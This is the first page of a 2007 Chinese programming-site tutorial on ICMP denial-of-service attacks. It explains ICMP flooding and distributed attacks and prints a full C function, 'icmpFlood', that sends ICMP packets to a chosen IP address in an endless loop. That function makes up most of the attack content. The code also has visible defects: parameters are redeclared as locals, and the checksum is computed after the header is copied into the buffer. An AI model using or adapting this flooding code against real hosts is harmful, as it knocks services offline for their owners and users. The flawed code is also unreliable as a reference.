文章分类 | 推荐文章 | 最新文章 | 热点文章 | 最新软件 | 精品软件 | 下载排行 | 推荐下载 | 免费看大片 | WPS | 杀毒软件
清风网络
首 页 软件下载 网络学院 数码学院
QQ 电脑入门 游戏 操作系统 图形处理 办公软件 媒体动画 精文荟萃 工具软件 网络编程 程序开发 网络技术 认证考试 网站建设 文章专栏
当前位置:清风网络学院程序开发数据结构原始套接字透析之ICMP拒绝服务攻击
精品推荐
特别推荐
·网游外挂编写完全攻略
·开发WDM型的USB设备驱动程序
·数据库设计范式深入浅出
·理解软件保护技术之序列号方式
·大型网站必鉴:分销渠道的结构
·你的代码真的很健壮吗
·利用HOOK拦截封包原理
·四种网络游戏外挂的设计方法
·程序语言效率比较
·五子棋算法
·正则表达式从入门到精通
·SQL Server不能启动的常见故障
·Windows应用程序设计的基本术语
·软件本地化与汉化
·Windows中断编程
·windows nt 4.0中文版的开机过程
热点TOP10
·网游外挂编写完全攻略
·兵之利器 软件开发辅助工具纵览
·开发WDM型的USB设备驱动程序
·DCOM揭秘之六
·VS2008 第一次安装心得及使用
·游戏外挂设计技术探讨
·《数据结构》试题下载2004
·饺子馆的物流故事之二——供应链视角下的缺货及品类管理
·代码静态分析工具PC-LINT安装配置
·使用BHO定制你的IE浏览器
·原始套接字透析之Raw Socket基础
·基于CS模式的Winsock网络通讯程序
·程序语言效率比较
·《Windows程序设计》读书笔记之六
·四种网络游戏外挂的设计方法
·用CVSNT与WINCVS实现CVS的架设
·利用HOOK拦截封包原理
·简单对象访问协议(SOAP)初级指南
·带你全面了解数据库应用系统的开发步骤
·UML业务建模实例分析

原始套接字透析之ICMP拒绝服务攻击

日期:2007年5月3日 作者: 查看:[大字体 中字体 小字体]



  拒绝服务攻击(DoS)企图通过使被攻击的计算机资源消耗殆尽从而不能再提供服务,拒绝服务攻击是最容易实施的攻击行为。中美黑客大战中的中国黑客一般对美进行的就是拒绝服务攻击,其技术手段大多不够高明。

  ICMP实现拒绝服务攻击的途径有二:一者"单刀直入",一者"借刀杀人"。具体过程分析如下:
 
  ICMP FLOOD攻击

  大量的 ICMP消息发送给目标系统,使得它不能够对合法的服务请求做出响应。中美黑客大战中的多数中国黑客采用的正是此项技术。ICMP FLOOD攻击实际上是一种两败俱伤的攻击方式,在主机"疯狂"地向攻击目标发送ICMP消息的时候,主机也在消耗自身的系统资源。如果自身的网络资源小于目标的话,这种攻击就是"蚍蜉撼大树"。因此,ICMP FLOOD攻击为了达到很好的效果,往往要联合多台机器同时攻击同一台机器,从而形成分布式拒绝服务攻击(DDoS)。

  调用下面的程序可实现ICMP Flood攻击:

int icmpFlood(int PacketSize, char *DestIp, int type, int code)
{
 int datasize, ErrorCode;
 int TimeOut = 2000, SendSEQ = 0, PacketSize = 32, type = 8, code = 0, counter = 0;
 char SendBuf[65535] = { 0 };
 WSADATA wsaData;
 SOCKET SockRaw = (SOCKET)NULL;
 struct sockaddr_in DestAddr;
 ICMP_HEADER icmp_header;
 if (PacketSize > 65500)
 {
  return FALSE;
 }

 if (type > 16)
 {
  return FALSE;
 }

 if ((ErrorCode = WSAStartup(MAKEWORD(2, 1), &wsaData)) != 0)
 {
  return FALSE;
 }

 if ((SockRaw = WSASocket(AF_INET, SOCK_RAW, IPPROTO_ICMP, NULL, 0,WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)
 {
  return FALSE;
 }

 ErrorCode = setsockopt(SockRaw, SOL_SOCKET, SO_SNDTIMEO, (char*) &TimeOut,sizeof(TimeOut));
 if (ErrorCode == SOCKET_ERROR)
 {
  return FALSE;
 }

 printf("Starting...\n\n");
 memset(&DestAddr, 0, sizeof(DestAddr));
 DestAddr.sin_family = AF_INET;
 DestAddr.sin_addr.s_addr = inet_addr(DestIp);

 icmp_header.i_type = type;
 icmp_header.i_code = code;
 icmp_header.i_cksum = 0;
 icmp_header.i_id = 2;
 icmp_header.timestamp = GetTickCount();
 icmp_header.i_seq = 999;
 memcpy(SendBuf, &icmp_header, sizeof(icmp_header));
 memset(SendBuf + sizeof(icmp_header), 'E', PacketSize);
 icmp_header.i_cksum = checksum((unsigned short*)SendBuf, sizeof(icmp_header) + PacketSize);

 datasize = sizeof(icmp_header) + PacketSize;

 while (1)
 {
  printf("Sending 1024 packets...\n");
  for (counter = 0; counter < 1024; counter++)
  {
   ErrorCode = sendto(SockRaw, SendBuf, datasize, 0, (struct sockaddr*) &DestAddr, sizeof(DestAddr));
   if (ErrorCode == SOCKET_ERROR)
    printf("\nSend Error:%d\n", GetLastError());
  }
 }

 if (SockRaw != INVALID_SOCKET)
  closesocket(SockRaw);
 WSACleanup();
 return TRUE;
}
[1] [2] [3] 下一页 




上一篇:原始套接字透析之Raw Socket基础

下一篇:Ruby on Rails:控制器纵览

原始套接字透析之ICMP拒绝服务攻击 相关文章:
·图文详解 Windows 2003服务器集群安装
·不怕攻击 家庭上网必学八招安全绝招
·Dell PowerEdge 2950 服务器 Windows 2003安装手册
·自己电脑做smtp服务器不求人
·解决与HTTP 500 – 内部服务器错误错误信息有关的问题
·Linux各种服务器的架设
·Helix流媒体服务器架设及RMVB制作教程
·Windows 2003安全设置大全-IIS、终端服务、FTP、SQL的配置
·何谓HTTP 500内部服务器错误
·自己电脑做SMTP服务器不求人
原始套接字透析之ICMP拒绝服务攻击 相关软件:
·手机炸弹-短信息攻击懒人版
·勤哲Excel服务器 2007 V7.1.4 完整企业版
·黑客视频教程-网吧代理服务器使用灰鸽子端口映射方法
·Windows 2000 高级服务器版
·腾讯企业QQ 服务器端 V 3.0.3
·多线程ping服务系统V1.2
·CS服务器插件AMX Mod X 1.76 中文版
·手机短信息攻击程序V1.0
·架设自己的QQ服务器
·asp.net服务器控件与组件开发

特别声明:本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
[打印本页] [关闭窗口] 转载请注明来源:http://www.vipcn.net
| 帮助(?) | 版权声明 | 友情连接 | 关于我们 | 信息发布
Copyright 2007 www.vipcn.net All Rights Reserved. 鄂ICP备05000083号Powered by:viphot